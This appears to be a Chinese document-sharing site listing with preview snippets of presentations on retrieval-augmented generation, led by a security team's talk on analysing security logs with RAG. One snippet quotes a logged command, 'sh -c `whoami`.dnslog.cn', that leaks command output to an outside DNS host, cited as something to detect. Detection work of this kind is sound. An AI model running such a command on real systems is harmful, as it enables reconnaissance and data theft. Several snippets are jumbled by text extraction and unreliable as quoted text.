基于RAG提升大模型安全运营效率实践-360云安全专家（QDSD）.docx

360云安全专家（QDSD）：基于RAG提升大模型安全运营效率实践.pdf QDSD 360云安全专家 CONTENTS 目录 Part01Part02Part03 如何监控所有的RAG为什么适合分 whoami?析安全日志?大模型如何取代我？谁执行了whoami java-jarmy-app.jar /usr/lib/systemd/systemdbashinstall.sh = =xxxsh-c`whoami`.dnslog.cn =whoami python1.py xxAgent 我们的大脑是如何分析安全日志的？感觉皮层联合皮层丘脑/海马体/前额叶新皮层联合皮层感知输入特征编码记忆检索推理决策记忆巩固方案一：黑白名单感知输入特征编码记忆检索推理决策

2025-04-18 约6.14千字 19页立即下载

360云安全专家（QDSD）：基于RAG提升大模型安全运营效率实践.pptx 基于RAG提升大模型安全运营效率实践 360云安全专家 HuckingGroup CONTENTS 目录 Part01 如何监控所有的 whoami? Part02 RAG为什么适合分析安全日志? Part03 大模型如何取代我? 360安全应急响应中心 360SecurityResponseCenter HurkingGroup 01 如何监控所有的whoami? 360安全应急响应中心 360SecurityResponseCenter HuckingGroup java-jarmy-appjar bashinstall.sh sh-c`whoami.dnslog.cnpython1.p

2025-04-22 约2.63千字 10页立即下载

360云安全专家（QDSD）：基于RAG提升大模型安全运营效率实践.docx HuckingGroup 基于RAG提升大模型安全运营效率实践 360云安全专家 CONTENTS 目录 Part01 如何监控所有的 whoami? Part02 RAG为什么适合分析安全日志? HurkingGrou HurkingGroup 360安全应急响应中心 360安全应急响应中心 360SecurityResponseCenter Part03 大模型如何取代我? HuckingGroup360安全应急响应中心 HuckingGroup 360SecurityResponseCenter 01 如何监控所有的whoami? 360安全应急响应中心360SecurityRespon

2025-04-20 约3.12千字 19页立即下载

基于RAG开发大语言模型.pdf 新视角读者服务 基于RAG开发大语言模型文/李俊峰当前，人工智能技术发展迅猛，无疑成为新质生产力中最为片处理，按照一定的大小进行切片，因为无论是关键字检索还是向夺目的黑马。特别是OpenAI推出ChatGPT以来，人工智能在大数据、量检索都是对文档切片进行的。目前通过很多成熟的软件可以非常大算力和大算法方面实现了完美结合，真正让普通人感受到人工方便地完成此项工作。智能的“神奇”。第二步，文本向量化。文本向量（TextEmbeddings）就是将随着越来越多的通用大语言模型（LLM）的出现和发展，如文本转化成一组浮点数组，整个数组则可以对应多维空间的点，即何利用LLM能力实现人工智

2025-04-10 约7.66千字 2页立即下载

检索增强（RAG）能提升大模型的推理能力吗？.docx 检索增强（RAG） 能提升大模型的推理能力吗？刘勇中国人民大学高瓴人工智能学院目录丨CATALOGUE 04010203 04 理想情况基本设定背景介绍有噪音情况理想情况基本设定背景介绍 2 WhatisRAG ?LLMs存在问题 –幻觉问题：有论文证实，自回归预训练的大语言模型的幻觉问题不可避免[1]，LLM无可避免的会提供部分虚假信息 3–数据安全：OpenAI已经遭到过几次隐私数据的投诉，企业不会把自己的经营数据、合同文件等

2025-04-07 约4.95千字 54页立即下载

检索增强（RAG）能提升大模型的推理能力吗？.pdf 检索增强（RAG） 能提升大模型的推理能力吗？刘勇中国人民大学高瓴人工智能学院目录丨CATALOGUE 01020304 背景介绍基本设定理想情况有噪音情况

2025-04-09 约9.86千字 29页立即下载

2025-03-13 约2.75万字 43页立即下载

2024年大模型+RAG最佳实践报告.docx 2024年“大模型+RAG”最佳实践报告研究说明: 本研究是沙丘智库日常研究工作进展,不代表我们的最终立场,我们邀请您提供建设性的反馈(客服微信:zimu738),以帮助分享这—研究的进展,所有相关的更新和反馈都将纳入最终的研究。 ?2024沙丘智库及关联公司版权所有。沙丘智库是沙丘社区公司所属品牌。本演示文稿仅供沙丘智库订阅会员接收并内部使用。由于本演示文稿可能包含机密、特有或其他方式受法律保护的信息,因此未经沙丘智库及关联公司的明确书面授权,不得进—步复制、分发或公开展示。第一部分 “大模型+RAG”应用指南 1.1RAG定义与分类 1.2RAG系统的六个设计原则 1.3

2025-03-12 约2.77万字 86页立即下载

基于知识图谱的Rag实践探索.pptx 基于KG的RAG实践探索;目录;中兴数字化转型过程中的知识共享;文档在企业内的角色：归档、查阅的角色;目录;中兴通讯的文档现状;文档智能化的目标：随着大模型的到来，改变文档的角色;梦想很丰满、现实很骨感，怎么办？;目录;业界范式（LLM）;业界范式（RAG）;思路1;思路2;目录;知识智能互联和服务链路;方案框架;关键点1：文档信息、信息系统等多源信息抽取;文档知识图谱构建;关键实践2：利用知识图谱实现确定性的打桩通过对用户意图的理解、对企业专有知识的转化，实现Query的预处理和标准化，消除Query数据中的噪声和异常，提高Query数据质量，使Query数据更易于被模型理解和处理，从而提

2024-07-28 约小于1千字 29页立即下载

360安全大模型介绍.pdf 智能时代数字安全新范式 ——360安全大模型介绍 360数字安全集团 2024/01 123 大模型带来安全打造基于大模型360的实践：目新变革的安全新范式

2024-12-21 约1.37万字 32页立即下载

基于三阶段DEA模型的我国跨境电商上市公司运营效率剖析与提升路径研究.docx 基于三阶段DEA模型的我国跨境电商上市公司运营效率剖析与提升路径研究一、引言 1.1研究背景随着全球经济一体化进程的加速和互联网技术的飞速发展，跨境电商作为一种新兴的国际贸易模式，正呈现出蓬勃发展的态势。它突破了传统贸易的地域限制，实现了全球范围内的商品和服务流通，极大地改变了国际贸易的格局。从全球视角来看，跨境电商市场规模持续扩张。研究机构数据显示，2024年全球跨境电商市场规模预计将达到2.1万亿美元，复合年增长率达到15%。在数字技术与实体产业深度融合，以及后疫情时代生活场景线上化习惯改变的背景下，全球电子商务蓬勃发展，为跨境电商提供了广阔的市场空间。跨境电商凭借数字化

2025-05-01 约2.64万字 22页立即下载

刘勇-检索增强RAG能提升大模型的推理能力吗.pdf 检索增强（RAG） 能提升大模型的推理能力吗？刘勇中国人民大学高瓴人工智能学院目录丨CATALOGUE 01020304 背景介绍基本设定理想情况有噪音情况 2 WhatisRAG •LLMs存在问题 –幻觉问题：有论文证实，自回归预训练的大语言模型的幻觉问题不可避免[1]， LLM无可避免的会提供部分虚假信息 –时效性问题：规模越大，大模型训练的成本越高，更新知识的代价越大，对于一些高时效性的任务，大模型无能为力 –数据安全：OpenAI已经遭到过几次隐私数据的投诉，企业不会把自己的经营数据、合同文件等机密文件和数据上传到互联网上的大模型 •RAG（Retrieval-Augmen

2025-01-08 约1.01万字 29页立即下载

2025-02-27 约3.14万字 44页立即下载

2025基于RAG Agent技术的混元大模型业务落地.docx 2025 腾讯大语言模型应用场景 RAG技术原理及优化实践 GraphRAG在角色扮演场景中的应用 Agent技术原理和应用 1 第一章节腾讯大语言模型应用场景腾讯大模型应用场景内容生成内容理解智能客服开发Copilot角色扮演输入联想素材生成文案润色辅助评论定制翻译内容生成内容理解智能客服开发Copilot 角色扮演输入联想素材生成文案润色辅助评论定制翻译文案生成内容扩写文本创作文本分类文本摘要诈骗识别标签提取恶意判断实体提取图文匹配文本审核智能客情交互式任务文档提取情绪理解用户引导问题推荐知识问答优化建议代码解读游戏会话

2025-05-10 约7.16千字 33页立即下载

阿里云AI搜索RAG应用实践-2024大数据大模型峰会.pdf “大模型”与“大数据”两者犹如车之双轮，合力驱动数据价值和企业价值的增长。大数据和大模型，作为双核驱动力，正在引领我们迈向更加智能、高效和便捷的时代。阿里云AI搜索研发负责人/邢少敏内容提纲 PARTONE产生背景PARTTWO技术方案 “大模型”与“大数据”两者犹如车之双轮，合力驱动数据价值和企业价值的增长。大数据和大模型，作为双核驱动力，正在引领我们迈向更加智能、高效和便捷的时代。 PARTTHREE应用实践PARTFOUR总结展望人机对话系统发展简史 2、NLP、AIML标签语言自动机、Slot-Filling等 “Botsarethenewapps” --byMicrosoft

2024-11-26 约2.64万字 35页立即下载